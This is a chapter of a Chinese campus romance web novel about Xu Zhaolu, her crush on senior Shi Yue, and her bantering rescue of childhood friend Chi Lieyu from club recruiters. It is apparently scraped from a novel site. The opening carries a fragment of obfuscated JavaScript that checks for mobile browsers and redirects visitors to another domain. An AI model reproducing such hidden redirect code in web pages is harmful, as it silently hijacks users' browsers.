l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14947520|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书卷气。 时越并不意外这姑娘会认识他,打量她片刻,也说出她的名字:“许朝露?” 云城今年的高考状元,刷新了历史最高分,即使不是本届考生也有所耳闻。 从他口中听到自己名字,许朝露大脑有一瞬的空白,耳朵酥酥麻麻,像被羽毛尖儿拂过。 “我临时有点事,就不面你们这组了。”时越朝她笑了下,褐色眼睛微弯,蕴着暖意,“快进去吧,面试加油。” 许朝露点头,麻利地穿上外套。 进入办公室之前,忍不住回头看了眼他的背影。 面试过程很顺利,许朝露从冰冷的空调房走出来,身体却滚烫。 她来到无人地方,激动地给舒夏发消息:【夏!我恋爱了!】 舒夏不愧是时时刻刻蹲在网线上的女人,秒回:【又?】 就一个字,带着浓浓的嘲讽意味。 喜之郎:【这次是真的!】 夏夏:【之前你也这么说】 喜之郎:【……】 夏夏:【你初三喜欢程书泽超过三个月了吗?去年喜欢李景轩超过半年了吗?哪次不是突然头脑发热,等人家对你有意思了,你又觉得没劲】 喜之郎:【这次可是时越学长!你知道我高三已经崇拜他一整年了,而且他真人比照片帅好多,特别温柔】 夏夏:【真的假的】 夏夏:【有池列屿帅吗?】 喜之郎:【……】 喜之郎:【别老拿池列屿比啊!】 舒夏趴在宿舍床上笑。 你也知道没人比你竹马更帅。 夏夏:【我就奇怪了,你一天到晚对这个心动对那个心动,怎么就对你竹马没感觉】 喜之郎:【你会突然爱上一道已经吃了十八年的菜吗】 夏夏:【会啊,我是超级鸡蛋控,我最近淘到一种巨好吃的温泉蛋,等会儿分享给你】 夏夏:【再说了,人可比鸡蛋的做法复杂多了】 这句话,许朝露发现自己无法反驳。 就连她这样看似没有秘密,什么都往外说的人,其实也有一段埋藏在心底、无人知晓的经历。 池列屿会比她想象中更复杂吗? 许朝露觉得有可能。 他本来话就少,说三分留七分,性格冷淡又傲,遇到什么事都爱自己扛着。 而且。 不知道从什么时候开始,她不再能一眼看进这个最熟悉的少年的心底。 喜之郎:【话题跑偏了啦,干嘛一直提池列屿】 夏夏:【不提了不提了】 夏夏:【我想了想,发现你俩确实不合适,还是当朋友吧】 喜之郎:【?】 她也不知道突然抽什么风,非要问个明白:【哪里不合适了?】 舒夏在床上翻了个身,盯着天花板,回想这些年许朝露的感情历程。 她的喜欢总是来得快去得快,像夏日骤雨,雨过天晴后,地面连湿过的痕迹都看不见,而且这家伙即使在对人家最上头的时候,也是该吃吃该喝喝,嘴上念叨着好想谈恋爱不想学习,转头就考年级第一。 要知道青春期的感情都是洪水猛兽,一句话、一个眼神就能让人的心情坐上过山车。像她情绪这么稳定,舒夏觉得估计也没有很喜欢。 但池列屿似乎不是这样的人。 夏夏:【你俩就这么当朋友说不定能天长地久】 夏夏:【但你要是短暂地和他玩一下,你俩估计就完了】 许朝露盯着这两行字看了半天。 喜之郎:【说得我好像个渣女[再见]】 夏夏:【你不渣啊,你只是三分钟热度】 喜之郎:【那池列屿呢?你以前还说他长得像个谁也不爱的大渣男】 夏夏:【那是好几年前了吧】 后面要说的话太长,舒夏直接发语音:“我现在改变想法了。前阵子我发现他扫吉他用的拨片特别旧,图案还贼丑,就问他为什么不换新的,他说用习惯了,我又问他用多久了,他想了想,说从三年级开始,给我人听傻了,三年级好像是8岁吧?” 夏夏:“所以这种丑东西他不离手地用了整整十年?要不要这么长情!明明长了张用一次就丢的渣男脸。” 许朝露:“……” 12.天使 如果许朝露没记错,那些吉他拨片应该是她送给池列屿的。 那会儿他们才刚开始学吉他,有天许朝露逛文创店,看到有卖吉他拨片,她自己挑了几片亮晶晶的,想着给池列屿也买点,挑了半天,最后看中一款深蓝色拨片,上面歪歪扭扭印着个西语单词。 又想到池列屿这人手劲大,拨片应该消耗挺快,而且他生日快到了,许朝露咬咬牙,斥巨资端了同款的一整盒,少说也有二十片。 喜之郎:【我觉得那个拨片……也没有很丑吧】 夏夏:【实在用太久了,上面印的字都磨得坑坑洼洼,那天我从他包里摸出三四片做比对,都没认出那个单词是什么】 是chirimiri。 西语单词,意思是毛毛小雨。 池列屿小时候第一个网名,就叫毛毛小雨。 许朝露有些恍惚,努力收回了思绪:【不聊他了啦,说时越学长】 喜之郎:【我刚面试挺顺利的,以后他说不定就是我的部长了~】 夏夏:【那你们以后岂不是朝夕相对】 喜之郎:【是啊[害羞]】 夏夏:【大学里的男生简直不要太好追,就我对床,开学才几天,已经和crush谈上了。你这么靓,分分钟追到你偶像好吧】 喜之郎:【我先喜欢着吧,这才刚一见钟情呢】 夏夏:【我也觉得,你起码先喜欢人家三个月,要是太快在一起然后又不喜欢了,那真成渣女了】 喜之郎:【这次应该不会了】 喜之郎:【时越学长简直是从我理想型里长出来的】 其实舒夏对时越这人印象不错。高三她成天跟着许朝露研究时越的优秀作文集,说实话,收获挺大,今年作文题目巨抽象她语文都考了127,许朝露更不必说,考出141这种开挂分数。就凭这一点,她都得对时越说声谢谢。 当然,人品和文采是两码事,舒夏本来还有点担心,这会儿转念一想,池列屿他们也在K大,他俩和许朝露的交情比她只深不浅,能让许朝露轻易被人祸祸了吗? 记得初中有次,许朝露买动漫小卡被外校一黄毛男骗了二十块,这俩直接堵到那黄毛校门口,把人揍得哭着把钱包里两百多都倒出来还给许朝露……就这架势,舒夏觉得祸祸许朝露的那个人才是真的危险。 得了。 她有空还是关心关心自己能不能找到对象吧。 - 傍晚时分,东园宿舍7号楼,地下乐器室。 “我靠,你们这儿还有影音室!我刚进去坐了下,沙发超软,电视屏幕超大,我真的服了……”贺星诀推门进来,看见坐在架子鼓后边的男生,大喇喇打招呼,“你好啊,我是贺星诀,也是池列屿的发小,弹贝斯的。” 陈以铄摘下耳塞,冲他腼腆地笑:“你好,我是陈以铄。” 他心想他们三个不愧是好朋友,一个比一个自来熟,那么随意自然,像夏日午后乍然闯进屋子里的阳光,恰到好处的明亮,真让人羡慕。 闲聊几句,陈以铄重新戴上耳塞,敲大鼓和军鼓找手感。 贺星诀压低声音,指了指耳朵对池列屿说:“他现在应该听不见我们说话吧?” 池列屿:“你想说什么?” “露露王还没来啊?”贺星诀又打量了眼陈以铄,“你不觉得他长得很像露露王会喜欢的那种类型吗?” “……” “想起来了,程书泽,是这个名儿吧?”贺星诀说,“露露王的初恋。这家伙和程书泽长得好像啊!说话也温声细语的,一看文采就很好,高考语文考了多少分啊?一百三以下露露王可能看不上。” “人是我舍友。”池列屿很无语,“数竞生,考什么语文。” “计科系的啊,差点忘了。我还以为他文科生呢。” 池列屿不耐烦地往后退了两步,抱臂靠着墙,冷冷淡淡瞭着架子鼓那边。 陈以铄渐渐找到手感,底鼓越来越快,鼓棒在空中甩出残影,贺星诀看出了神,池列屿却觉得这屋里出奇的闷,想出去透透气。 “我去接许朝露。” 撂下这话,他开门出去,过了会儿贺星诀才反应过来:这点路还要接,你是她保镖啊? 傍晚六点出头,夕阳要落不落地悬在山脊上,万顷霞光浇透了栉立的教学楼、藏鸦的树梢、络绎不绝的学生,一切都淬了金似的,灿烂如画。 池列屿边走边看微信。 今天中午他趴床上困得要死,某人突然发消息约他看路演,聊了几句把他完全弄醒之后,她人又没了,过了快一小时才回消息,说刚才在学生会面试。 很烦,白瞎了他的午觉。 cly:【你到哪儿了?】 发完消息,他走到熙熙攘攘的校园干道上,忽然被四五个女生堵住前路。 都是话剧社的学姐,刚才在校道对面远远看见他,比周围男生高出一截,格外挺拔利落,余晖落满头发和肩膀,油画一样热烈,但他身上又透出淋漓的疏冷感,一身黑衣黑裤,和夕阳对撞,张力爆棚,还没看清脸她们就走不动道了,这种极品帅哥要是能招进社团,随便往舞台上一站,哪怕不说话,演出都能场场爆满。 没等学姐们介绍完,池列屿就直说没兴趣。 他那张脸近看更俊,尤其是眼睛,瞳仁黢黑,双眼皮窄得像刀刃,显得冷淡又厌世,要是只有一个人搭讪,这会儿肯定他被冻跑了,但她们人多,彼此壮胆脸皮就越来越厚,围着池列屿你一言我一语地游说,连个开溜的缝隙都没给他。 许朝露这会儿刚从百团大战现场撤下来,抓着一沓花花绿绿的传单,边走边翻看。 快到东园的时候,她手机收到一条短信——学生会发的通知,告诉她面试通过了。 许朝露高兴地原地转了圈,切到微信,看到两条未读消息,一条是池列屿问她到哪了,另一条是好友申请—— 时越:【许朝露同学你好,我是□□部长时越】 许朝露立刻通过。时越的头像是一只萨摩,毛茸茸趴在地毯上,看起来就很暖。 池列屿头像在他下边,黑暗冷然的海景,对比之下仿佛两个极端。 许朝露回池列屿:【我已经到门口啦】 其实还有两百多米,但她的意念已经到了,只是躯壳还在路上。 没想到,一放下手机就看到池列屿杵在前方不远,被一群女生围着,表情挺无奈。 夕阳盛大热烈,照得他冷白皮泛着灿金,军训结束后许朝露第一次见到他,穿着他最习惯的一身黑,头发长了许多,被风随意地吹开,露出英气又干净的眉宇。 许朝露蓦地联想到给他的备注,野玫瑰。 够野够瑰丽,也难怪走哪儿都是万众瞩目,搭讪不断。 池列屿也看见她。 他没有多余反应,就这么寡淡地睨着。 过去每次撞见他被女孩子搭讪,或者送礼、告白,这家伙都会很有分寸地装没看见,从不打扰,问就是身为超人气校草的青梅的基本素养。 今天估计也是一样。 果然,许朝露收回视线,没有打扰他们,盯着地砖朝前走。 夕阳在天边陷落,用尽余力染红了少女的发梢。 池列屿出门是为了透气,没想到外边更让人烦得喘不上气。 就在他打算直接甩开这群学姐的时候,忽然有人从后边扯了扯他的衣服:“学弟。” 刚走过去的许朝露神出鬼没地回来了,池列屿愣了会儿,才反应过来她在喊他。 “学弟。”她又喊了声,嘴瘾过得挺爽,异常真诚地说,“你对话剧社不感兴趣的话,要不来我们社团?走吧,跟我去聊聊。” 旁边几个学姐都懵了,哪有这样截胡的,简直不讲武德。 “你是哪个社团的?”她们问。 “我……”许朝露停顿了下,“抱歉,我们不招大二的,就不告诉你们了。” 学姐们被她这脸皮厚度惊到了:“……” 许朝露觉得她这会儿在池列屿眼里一定像个救苦救难的天使。 她不着痕迹地碰了碰他胳膊,示意他赶紧跟着她撤,没想到这人站在原地八风不动,垂眼睨着她,似乎还在计较她刚才的视而不见,不紧不慢说:“学姐,好歹介绍一下你的社团吧?哄人上贼船也得让人知道这船打算把我卖去哪儿啊。” 许朝露有点后悔回来救他了。 但是不得不说,听他喊学姐真挺带感的。 她被架得没法儿,只好从手上那沓传单里随便抽了张,递给池列屿:“这是我们社团的传单。” 池列屿接过一看,笑了下—— K大手语社。 许朝露想抽回来已经来不及了。 真·学姐注意到许朝露手里五花八门的传单,手语社的也就那一张:“你是新生吧?” “不是,我大二的啊。”许朝露镇定道,“真是手语社的。” “那你会手语吗?”学姐们越看她那清澈的眼神越像新生,“你要招人,总得展示一下你的水平。” “……” 许朝露还真会点手语。 为了争夺池列屿她也是豁出去了,抬起两只手在空气中快速地比划,抿着唇,一脸身残志坚。 所有人都沉默了。 许朝露还算平静。只要她不尴尬,尴尬的就是别人。 等她比划完,仿佛过了一个世纪,才有个学姐讪讪地问:“什么意思?” 池列屿:“怕你飞远去,怕你离我而去,更怕你永远停留在这里。” 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她被肩上的手臂带着,半个身子都进入他怀里,清冽的醋栗叶香味铺天盖地,许朝露不记得上次和他靠这么近是什么时候,池列屿看着混,其实一直都非常有分寸感,今天估计是脑袋笑缺氧了,一下子搂这么近,给她都整不会了,耳朵后边一片滚烫,脊背也是僵的。 “真有你的。”他笑爽了,松开她,肩还带着点颤,像刚被风吹过的青葱竹子,“能考727分的脑子果然不一般。” 许朝露就当他在夸她了:“不客气……你要实在感激我,多叫几声学姐听听。” “滚。”池列屿骂完,低头看见手语社传单,又有点破功,把传单卷成筒在她头上敲了下,“刚不都走了吗,干什么又回来。” 许朝露:“我看那群学姐好像听不懂拒绝,得让她们知道社团招新不是强买强卖,而是双向奔赴。” 当然,更重要的是,她是池列屿的天使啊。 “这世上哪有那么多双向奔赴。”池列屿散漫道,“大部分人都在强求。” 许朝露才发现池列屿这人有点现实主义。 而池列屿一直知道她这人是个理想主义。 女生进男生宿舍要登记,池列屿带着许朝露去值班台,迎面碰上舍友方游。 方游顿住脚,盯着他们看了好几秒。 记得开学典礼那天,池列屿往他们班座位一坐,班上拢共七八个女生疯出了七八十个女生的效果,大伙儿背地里就猜这位哥的感情经历够凑几桌麻将,结果正确答案竟然是零桌,干干净净,连小数点都不带。 方游一开始还不信,代入一下自己要是能长那样女朋友差不多得按周换,他觉得池列屿就是装,同住了一段时间才知道这哥是真冷,也是真干净,和所有女生都保持距离,再漂亮也没例外,除了今天这个。 “女朋友啊?”方游下意识问。 宿舍楼底下有自习室,人少又安静,很多男生都会带女朋友过去自习,而且他瞅池列屿在那姑娘身边的状态就不一般,整个人很松弛,手里卷着个纸筒,吊儿郎当地敲着后脑勺,眼底还有明显的未散的笑意。 池列屿:“不是。” 一边说一边顺手从旁边桌上抽了支笔,递给正到处找笔的许朝露。 “这样啊。”方游点头,又看向许朝露。 K大是出了名的和尚庙,男女比例严重失调,这妹子漂亮的让他精神为之一振,清纯精致眉眼,纤细袅娜身材,像夏日海报,头发丝都带着光。 “兄弟。”他问池列屿,“你朋友哪个系的?” 池列屿睨他一眼:“忘了。” “有对象吗?” “不清楚。” 赤|裸裸的敷衍,演都不带演一下。 许朝露登记完,刚直起腰,就听见池列屿不太耐烦地催:“走了。” 说完他便抬脚往里走,长腿生风,许朝露紧忙跟过去,用手里的传单砸他:“我有那么拿不出手吗?” 斩钉截铁地否认她是女朋友也就算了,怎么都不带她认识一下他舍友? “懒得当僚机,很烦。”池列屿很坦率,“那小子一脸看上你的样子。” “哦。”许朝露换位思考了下,“这你就烦了?你知不知道我一天到晚要帮你接待多少粉丝,我都不嫌烦。” 池列屿领着她往地下室走。楼道灯光昏暗,地面贴着“小心台阶”字样,许朝露边走边盯着池列屿乌黑蓬松的后脑勺,完全没想到他会突然转过来,眼神冷淡藏锋,带水带浆地说:“你以为谁都和你一样,一天到晚盼着有人泡你发小。” 许朝露脑子懵了下。 转过几道弯,她好像顿悟了什么。 “你是不是吃醋了?” 她真希望自己能狡黠又自然地说出这句话,而不是边说边一脚踏空,直挺挺地栽到池列屿身上。